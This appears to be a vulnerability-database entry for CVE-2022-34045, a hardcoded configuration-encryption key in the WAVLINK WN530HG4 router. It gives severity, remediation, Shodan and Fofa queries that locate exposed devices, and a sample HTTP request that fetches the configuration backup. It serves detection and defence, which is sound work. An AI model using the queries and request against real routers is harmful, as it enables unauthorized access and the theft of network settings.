🔙 목록으로 돌아가기

CVE-2022-34045: WAVLINK WN530HG4 - Improper Access Control

TitleWAVLINK WN530HG4 - Improper Access Control
Authorarafatansari
SeverityCritical
ImpactAn attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the network.
RemediationApply the latest firmware update provided by the vendor to fix the access control issue.
CVSS Score9.8
EPSS Score0.36265
CVE IDCVE-2022-34045
CWE IDCWE-798
Shodan Queryhttp.html:"WN530HG4"http.html:"wn530hg4"http.title:"wi-fi app login"
Fofa Querybody="wn530hg4"title="wi-fi app login"
Tags cve cve2022 wavlink exposure vuln

🔍 Vulnerability Description

WAVLINK WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. It contains a hardcoded encryption/decryption key for its configuration files at /etc_ro/lighttpd/www/cgi-bin/ExportAllSettings.sh. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

GET /backupsettings.dat HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-34045.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-34045.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A